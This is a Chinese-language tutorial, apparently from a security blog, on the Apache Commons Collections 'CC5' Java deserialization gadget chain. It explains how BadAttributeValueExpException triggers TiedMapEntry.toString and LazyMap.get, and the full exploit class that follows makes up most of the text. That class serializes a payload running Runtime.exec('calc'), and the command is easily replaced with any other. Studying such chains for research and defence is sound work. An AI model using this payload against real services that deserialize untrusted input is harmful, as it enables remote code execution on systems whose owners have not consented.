CC链5

CC5的链 和CC1差不多,只不过 调用 LazyMap.get()用的是 TiedMapEntry.toString()触发的

我们来看一下 TiedMapEntry.toString()

这里会调用 getValue() 跟进 看一下 getValue函数内容

再找一找触发点,来看看哪里的readObject调用了 toString。 由于调用 toString()的实在太多了,这里我们之间看作者找到的 BadAttributeValueExpException

这里注意,由于构造函数在构造时会直接调用 toString()

因此我们应该先传入一个随便的类型,然后通过反射修改 val属性为 我们构造的TiedMapEntry,这样的话,反序列化时才会调用TiedMapEntry 生成序列化数据时不会调用链子(直接写的话反序列化也会可正常调用,不过不太好 我们不需要在生成时本地执行一次恶意命令)

构造Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package com.javatest;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa");
//tiedMapEntry.toString();
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);

Class c = badAttributeValueExpException.getClass();
Field val = c.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,tiedMapEntry);

serialize(badAttributeValueExpException);
unserialize("ser1.bin");
}

//序列化方法
public static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
oos.writeObject(object);
}

//反序列化方法
public static void unserialize(String filename) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}